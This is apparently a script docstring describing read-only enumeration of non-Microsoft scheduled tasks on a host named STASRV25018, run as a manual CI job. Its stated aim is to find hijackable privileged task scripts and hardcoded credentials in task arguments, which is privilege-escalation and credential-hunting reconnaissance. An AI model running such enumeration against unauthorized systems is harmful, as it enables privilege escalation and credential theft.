r"""Enumerate non-Microsoft scheduled tasks on STASRV25018. Staged; --execute.

For each task not under \Microsoft\: name, path, Principal (userid + LogonType),
state, and the action command + arguments (script/binary path). Goal: find
hijackable scripts (writable target running as a privileged account) and any
hardcoded creds in task action arguments.
Read-only: schtasks /query /xml + Get-ScheduledTask. No writes, no triggers.
Runs as manual CI job on star/backend, deploy tags. Cleanup after.
